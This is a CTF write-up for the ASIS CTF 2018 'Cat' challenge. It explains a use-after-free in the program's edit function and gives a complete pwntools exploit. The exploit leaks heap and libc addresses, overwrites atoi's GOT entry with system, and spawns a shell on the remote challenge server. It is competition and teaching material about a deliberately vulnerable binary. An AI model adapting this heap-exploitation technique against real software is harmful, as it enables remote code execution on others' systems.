ASIS CTF 2018 Cat Write-up

Introduction

This is the only challenge I solve during the competition. It only involves some exploitation technique on Fastbin.

Vulnerability Analysis

struct data_node{
     char *name;
     char *kind;
     int age;
}

There exists a use-after-free vulnerability in the edit function. When starting to edit an entry, it will create a new data_node structure to store new data and assign it to a global variable ptr. But if the user chooses not to apply the change to the original data, the allocated chunks will be freed but the value in ptr is kept still. At this point, we have a dangling pointer to use.

Exploit Plan

The exploit development is a bit troublesome but makes no big trouble. I can first read the value of malloc and atoi to get the version of libc. According to our test, it is useing libc6_2.23-0ubuntu10_amd64.so in this challenge. Then we modify the value of atoi@plt to system to get the shell in the end.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("178.62.40.102", 6000);
    libc = ELF("./libc.so");
elif(DEBUG == 1):
    r = process("./cat");
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so");
elif(DEBUG == 2):
    r = process("./cat");
    gdb.attach(r, '''source ./script''');
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so");

def create(name, kind, age):
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil(">");
    r.sendline(name);
    r.recvuntil(">");
    r.sendline(kind);
    r.recvuntil(">");
    r.sendline(str(age));

def modify(index, name, kind, age, modify):
    r.recvuntil(">");
    r.sendline("2");
    r.recvuntil(">");
    r.sendline(str(index));
    r.recvuntil(">");
    r.sendline(name);
    r.recvuntil(">");
    r.sendline(kind);
    r.recvuntil(">");
    r.sendline(str(age));
    r.recvuntil(">");
    r.sendline(modify);

def view_one(index):
    r.recvuntil(">");
    r.sendline("3");
    r.recvuntil(">");
    r.sendline(str(index));

def delete(index):
    r.recvuntil(">");
    r.sendline("5");
    r.recvuntil(">");
    r.sendline(str(index));

def exploit():
    create("AAAA", "aaaaaaaa" + "\x31", 10);  #0
    create("BBBB", "bbbb", 11);  #1
    create("CCCC", "cccc", 12);  #2
    
    delete(1);
    delete(2);


    modify(0, "JUNK1", "junk1", 20, 'n');

    modify(0, "JUNK2", "junk2", 21, 'n');

    create(p32(0x6020f0), p32(0x6020f0), 30);  #1

    view_one(1);

    r.recvuntil("name: ");
    leaked = r.recvuntil('\x0a');
    leakedValue = u32(leaked[:-1]);
    log.info("Leaked value: 0x%x" % leakedValue);
    heapAddr = leakedValue - 0xd0;
    log.info("Heap Addr: 0x%x" % heapAddr);

    modify(0, p64(heapAddr+0x10), "junk3", 31, 'n');

    create("Trigger", p64(0x602018) + p64(0x602068), 40);
    view_one(0);
    r.recvuntil("name: ");
    leaked =r.recv(6);
    freeAddr = u64(leaked + "\x00\x00");
    r.recvuntil("kind: ");
    leaked =r.recv(6);
    atoiAddr = u64(leaked + "\x00\x00");
    log.info("Free Addr: 0x%x" % freeAddr);
    log.info("Atoi Addr: 0x%x" % atoiAddr);

    libcBase = freeAddr - libc.symbols['free'];
    log.info("Libc Base Addr: 0x%x" % libcBase);
    systemAddr = libcBase + libc.symbols['system'];
    log.info("System Addr: 0x%x" % systemAddr);
    
    r.recvuntil(">");
    r.sendline("2");
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil(">");
    r.sendline("ABCDEF");
    r.recvuntil(">");
    r.sendline(p64(systemAddr));
    r.recvuntil(">");
    r.sendline("sh;");
   
    r.interactive();

exploit();

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.